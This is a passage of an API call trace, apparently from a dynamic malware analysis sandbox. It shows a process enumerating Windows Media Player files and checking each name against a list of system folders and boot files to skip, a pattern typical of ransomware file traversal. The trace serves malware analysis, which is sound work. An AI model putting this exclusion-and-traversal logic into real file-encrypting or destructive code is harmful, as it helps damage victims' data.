CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnetwk.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0107.257] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnetwk.exe", cchWideChar=12, lpMultiByteStr=0x653f590, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wmpnetwk.exe", lpUsedDefaultChar=0x0) returned 12 [0107.257] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0107.257] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnetwk.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0107.257] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnetwk.exe", cchWideChar=12, lpMultiByteStr=0x653f590, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wmpnetwk.exe", lpUsedDefaultChar=0x0) returned 12 [0107.257] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0107.257] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0107.257] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0107.257] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnetwk.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0107.257] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnetwk.exe", cchWideChar=12, lpMultiByteStr=0x653f5e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wmpnetwk.exe", lpUsedDefaultChar=0x0) returned 12 [0107.257] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0107.257] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0107.257] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnetwk.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0107.257] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnetwk.exe", cchWideChar=12, lpMultiByteStr=0x653f618, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wmpnetwk.exe", lpUsedDefaultChar=0x0) returned 12 [0107.257] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0107.257] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94088 [0107.257] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94100 | out: hHeap=0x4f90000) returned 1 [0107.258] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66334c83, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x66334c83, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0xfe0cf930, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x11400, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName="wmpnscfg.exe", cAlternateFileName="")) returned 1 [0107.258] lstrcmpiW (lpString1="wmpnscfg.exe", lpString2=".") returned 1 [0107.258] lstrcmpiW (lpString1="wmpnscfg.exe", lpString2="..") returned 1 [0107.258] lstrcmpiW (lpString1="wmpnscfg.exe", lpString2="...") returned 1 [0107.258] lstrcmpiW (lpString1="wmpnscfg.exe", lpString2="windows") returned 1 [0107.258] lstrcmpiW (lpString1="wmpnscfg.exe", lpString2="$RECYCLE.BIN") returned 1 [0107.258] lstrcmpiW (lpString1="wmpnscfg.exe", lpString2="rsa") returned 1 [0107.258] lstrcmpiW (lpString1="wmpnscfg.exe", lpString2="NTDETECT.COM") returned 1 [0107.258] lstrcmpiW (lpString1="wmpnscfg.exe", lpString2="ntldr") returned 1 [0107.258] lstrcmpiW (lpString1="wmpnscfg.exe", lpString2="MSDOS.SYS") returned 1 [0107.258] lstrcmpiW (lpString1="wmpnscfg.exe", lpString2="IO.SYS") returned 1 [0107.258] lstrcmpiW (lpString1="wmpnscfg.exe", lpString2="boot.ini") returned 1 [0107.258] lstrcmpiW (lpString1="wmpnscfg.exe", lpString2="boot.ini") returned 1 [0107.258] lstrcmpiW (lpString1="wmpnscfg.exe", lpString2="AUTOEXEC.BAT") returned 1 [0107.258] lstrcmpiW (lpString1="wmpnscfg.exe", lpString2="ntuser.dat") returned 1 [0107.258] lstrcmpiW (lpString1="wmpnscfg.exe", lpString2="desktop.ini") returned 1 [0107.258] lstrcmpiW (lpString1="wmpnscfg.exe", lpString2="CONFIG.SYS") returned 1 [0107.258] lstrcmpiW (lpString1="wmpnscfg.exe", lpString2="RECYCLER") returned 1 [0107.258] lstrcmpiW (lpString1="wmpnscfg.exe", lpString2="BOOTSECT.BAK") returned 1 [0107.258] lstrcmpiW (lpString1="wmpnscfg.exe", lpString2="bootmgr") returned 1 [0107.258] lstrcmpiW (lpString1="wmpnscfg.exe", lpString2="programdata") returned 1 [0107.258] lstrcmpiW (lpString1="wmpnscfg.exe", lpString2="appdata") returned 1 [0107.258] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0107.258] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnscfg.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0107.258] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnscfg.exe", cchWideChar=12, lpMultiByteStr=0x653f590, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wmpnscfg.exe", lpUsedDefaultChar=0x0) returned 12 [0107.258] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0107.258] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnscfg.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0107.258] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnscfg.exe", cchWideChar=12, lpMultiByteStr=0x653f590, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wmpnscfg.exe", lpUsedDefaultChar=0x0) returned 12 [0107.258] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0107.258] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0107.258] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0107.258] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnscfg.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0107.258] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnscfg.exe", cchWideChar=12, lpMultiByteStr=0x653f5e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wmpnscfg.exe", lpUsedDefaultChar=0x0) returned 12 [0107.258] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0107.258] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0107.258] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnscfg.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0107.259] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnscfg.exe", cchWideChar=12, lpMultiByteStr=0x653f618, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wmpnscfg.exe", lpUsedDefaultChar=0x0) returned 12 [0107.259] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0107.259] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94100 [0107.259] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0107.259] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66e8341f, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x66e8341f, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x462d2d20, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x87200, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName="wmpnssci.dll", cAlternateFileName="")) returned 1 [0107.259] lstrcmpiW (lpString1="wmpnssci.dll", lpString2=".") returned 1 [0107.259] lstrcmpiW (lpString1="wmpnssci.dll", lpString2="..") returned 1 [0107.259] lstrcmpiW (lpString1="wmpnssci.dll", lpString2="...") returned 1 [0107.259] lstrcmpiW (lpString1="wmpnssci.dll", lpString2="windows") returned 1 [0107.259] lstrcmpiW (lpString1="wmpnssci.dll", lpString2="$RECYCLE.BIN") returned 1 [0107.259] lstrcmpiW (lpString1="wmpnssci.dll", lpString2="rsa") returned 1 [0107.259] lstrcmpiW (lpString1="wmpnssci.dll", lpString2="NTDETECT.COM") returned 1 [0107.259] lstrcmpiW (lpString1="wmpnssci.dll", lpString2="ntldr") returned 1 [0107.259] lstrcmpiW (lpString1="wmpnssci.dll", lpString2="MSDOS.SYS") returned 1 [0107.259] lstrcmpiW (lpString1="wmpnssci.dll", lpString2="IO.SYS") returned 1 [0107.259] lstrcmpiW (lpString1="wmpnssci.dll", lpString2="boot.ini") returned 1 [0107.259] lstrcmpiW (lpString1="wmpnssci.dll", lpString2="boot.ini") returned 1 [0107.259] lstrcmpiW (lpString1="wmpnssci.dll", lpString2="AUTOEXEC.BAT") returned 1 [0107.259] lstrcmpiW (lpString1="wmpnssci.dll", lpString2="ntuser.dat") returned 1 [0107.259] lstrcmpiW (lpString1="wmpnssci.dll", lpString2="desktop.ini") returned 1 [0107.259] lstrcmpiW (lpString1="wmpnssci.dll", lpString2="CONFIG.SYS") returned 1 [0107.259] lstrcmpiW (lpString1="wmpnssci.dll", lpString2="RECYCLER") returned 1 [0107.259] lstrcmpiW (lpString1="wmpnssci.dll", lpString2="BOOTSECT.BAK") returned 1 [0107.259] lstrcmpiW (lpString1="wmpnssci.dll", lpString2="bootmgr") returned 1 [0107.259] lstrcmpiW (lpString1="wmpnssci.dll", lpString2="programdata") returned 1 [0107.259] lstrcmpiW (lpString1="wmpnssci.dll", lpString2="appdata") returned 1 [0107.259] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0107.259] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnssci.dll", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0107.259] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnssci.dll", cchWideChar=12, lpMultiByteStr=0x653f590, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wmpnssci.dll", lpUsedDefaultChar=0x0) returned 12 [0107.259] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0107.259] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnssci.dll", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0107.259] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnssci.dll", cchWideChar=12, lpMultiByteStr=0x653f590, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wmpnssci.dll", lpUsedDefaultChar=0x0) returned 12 [0107.259] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0107.259] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0107.259] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0107.259] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnssci.dll", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0107.260] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnssci.dll", cchWideChar=12, lpMultiByteStr=0x653f5e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wmpnssci.dll", lpUsedDefaultChar=0x0) returned 12 [0107.260] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0107.260] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0107.260] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnssci.dll", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0107.260] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnssci.dll", cchWideChar=12, lpMultiByteStr=0x653f618, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wmpnssci.dll", lpUsedDefaultChar=0x0) returned 12 [0107.260] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0107.260] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94088 [0107.260] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94100 | out: hHeap=0x4f90000) returned 1 [0107.260] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ff32e2e, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x4ff32e2e, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x462d2d20, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x8800, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName="WMPNSSUI.dll", cAlternateFileName="")) returned 1 [0107.260] lstrcmpiW (lpString1="WMPNSSUI.dll", lpString2=".") returned 1 [0107.260] lstrcmpiW (lpString1="WMPNSSUI.dll", lpString2="..") returned 1 [0107.260] lstrcmpiW (lpString1="WMPNSSUI.dll", lpString2="...") returned 1 [0107.260] lstrcmpiW (lpString1="WMPNSSUI.dll", lpString2="windows") returned 1 [0107.260] lstrcmpiW (lpString1="WMPNSSUI.dll", lpString2="$RECYCLE.BIN") returned 1 [0107.260] lstrcmpiW (lpString1="WMPNSSUI.dll", lpString2="rsa") returned 1 [0107.260] lstrcmpiW (lpString1="WMPNSSUI.dll", lpString2="NTDETECT.COM") returned 1 [0107.260] lstrcmpiW (lpString1="WMPNSSUI.dll", lpString2="ntldr") returned 1 [0107.260] lstrcmpiW (lpString1="WMPNSSUI.dll", lpString2="MSDOS.SYS") returned 1 [0107.260] lstrcmpiW (lpString1="WMPNSSUI.dll", lpString2="IO.SYS") returned 1 [0107.260] lstrcmpiW (lpString1="WMPNSSUI.dll", lpString2="boot.ini") returned 1 [0107.260] lstrcmpiW (lpString1="WMPNSSUI.dll", lpString2="boot.ini") returned 1 [0107.260] lstrcmpiW (lpString1="WMPNSSUI.dll", lpString2="AUTOEXEC.BAT") returned 1 [0107.260] lstrcmpiW (lpString1="WMPNSSUI.dll", lpString2="ntuser.dat") returned 1 [0107.260] lstrcmpiW (lpString1="WMPNSSUI.dll", lpString2="desktop.ini") returned 1 [0107.260] lstrcmpiW (lpString1="WMPNSSUI.dll", lpString2="CONFIG.SYS") returned 1 [0107.260] lstrcmpiW (lpString1="WMPNSSUI.dll", lpString2="RECYCLER") returned 1 [0107.260] lstrcmpiW (lpString1="WMPNSSUI.dll", lpString2="BOOTSECT.BAK") returned 1 [0107.260] lstrcmpiW (lpString1="WMPNSSUI.dll", lpString2="bootmgr") returned 1 [0107.260] lstrcmpiW (lpString1="WMPNSSUI.dll", lpString2="programdata") returned 1 [0107.260] lstrcmpiW (lpString1="WMPNSSUI.dll", lpString2="appdata") returned 1 [0107.260] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0107.260] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WMPNSSUI.dll", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0107.260] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WMPNSSUI.dll", cchWideChar=12, lpMultiByteStr=0x653f590, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WMPNSSUI.dll", lpUsedDefaultChar=0x0) returned 12 [0107.260] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0107.260] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WMPNSSUI.dll", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0107.261] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WMPNSSUI.dll", cchWideChar=12, lpMultiByteStr=0x653f590, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WMPNSSUI.dll", lpUsedDefaultChar=0x0) returned 12 [0107.261] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0107.261] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0107.261] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0107.261] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WMPNSSUI.dll", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0107.261] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WMPNSSUI.dll", cchWideChar=12, lpMultiByteStr=0x653f5e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WMPNSSUI.dll", lpUsedDefaultChar=0x0) returned 12 [0107.261] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0107.261] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0107.261] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WMPNSSUI.dll", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0107.261] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WMPNSSUI.dll", cchWideChar=12, lpMultiByteStr=0x653f618, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WMPNSSUI.dll", lpUsedDefaultChar=0x0) returned 12 [0107.261] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0107.261] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94100 [0107.261] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0107.261] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dde8703, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x5dde8703, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0xfe11b420, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName="wmprph.exe", cAlternateFileName="")) returned 1 [0107.261] lstrcmpiW (lpString1="wmprph.exe", lpString2=".") returned 1 [0107.261] lstrcmpiW (lpString1="wmprph.exe", lpString2="..") returned 1 [0107.261] lstrcmpiW (lpString1="wmprph.exe", lpString2="...") returned 1 [0107.261] lstrcmpiW (lpString1="wmprph.exe", lpString2="windows") returned 1 [0107.261] lstrcmpiW (lpString1="wmprph.exe", lpString2="$RECYCLE.BIN") returned 1 [0107.261] lstrcmpiW (lpString1="wmprph.exe", lpString2="rsa") returned 1 [0107.261] lstrcmpiW (lpString1="wmprph.exe", lpString2="NTDETECT.COM") returned 1 [0107.261] lstrcmpiW (lpString1="wmprph.exe", lpString2="ntldr") returned 1 [0107.261] lstrcmpiW (lpString1="wmprph.exe", lpString2="MSDOS.SYS") returned 1 [0107.261] lstrcmpiW (lpString1="wmprph.exe", lpString2="IO.SYS") returned 1 [0107.261] lstrcmpiW (lpString1="wmprph.exe", lpString2="boot.ini") returned 1 [0107.261] lstrcmpiW (lpString1="wmprph.exe", lpString2="boot.ini") returned 1 [0107.261] lstrcmpiW (lpString1="wmprph.exe", lpString2="AUTOEXEC.BAT") returned 1 [0107.261] lstrcmpiW (lpString1="wmprph.exe", lpString2="ntuser.dat") returned 1 [0107.261] lstrcmpiW (lpString1="wmprph.exe", lpString2="desktop.ini") returned 1 [0107.261] lstrcmpiW (lpString1="wmprph.exe", lpString2="CONFIG.SYS") returned 1 [0107.261] lstrcmpiW (lpString1="wmprph.exe", lpString2="RECYCLER") returned 1 [0107.261] lstrcmpiW (lpString1="wmprph.exe", lpString2="BOOTSECT.BAK") returned 1 [0107.261] lstrcmpiW (lpString1="wmprph.exe", lpString2="bootmgr") returned 1 [0107.261] lstrcmpiW (lpString1="wmprph.exe", lpString2="programdata") returned 1 [0107.261] lstrcmpiW (lpString1="wmprph.exe", lpString2="appdata") returned 1 [0107.261] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0107.261] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmprph.exe", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0107.262] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmprph.exe", cchWideChar=10, lpMultiByteStr=0x653f590, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wmprph.exe", lpUsedDefaultChar=0x0) returned 10 [0107.262] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0107.262] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmprph.exe", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0107.262] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmprph.exe", cchWideChar=10, lpMultiByteStr=0x653f590, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wmprph.exe", lpUsedDefaultChar=0x0) returned 10 [0107.262] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0107.262] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0107.262] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0107.262] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmprph.exe", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0107.262] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmprph.exe", cchWideChar=10, lpMultiByteStr=0x653f5e0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wmprph.exe", lpUsedDefaultChar=0x0) returned 10 [0107.262] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0107.262] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0107.262] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmprph.exe", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0107.262] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmprph.exe", cchWideChar=10, lpMultiByteStr=0x653f618, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wmprph.exe", lpUsedDefaultChar=0x0) returned 10 [0107.262] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0107.262] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94088 [0107.262] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94100 | out: hHeap=0x4f90000) returned 1 [0107.262] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8f318ba, 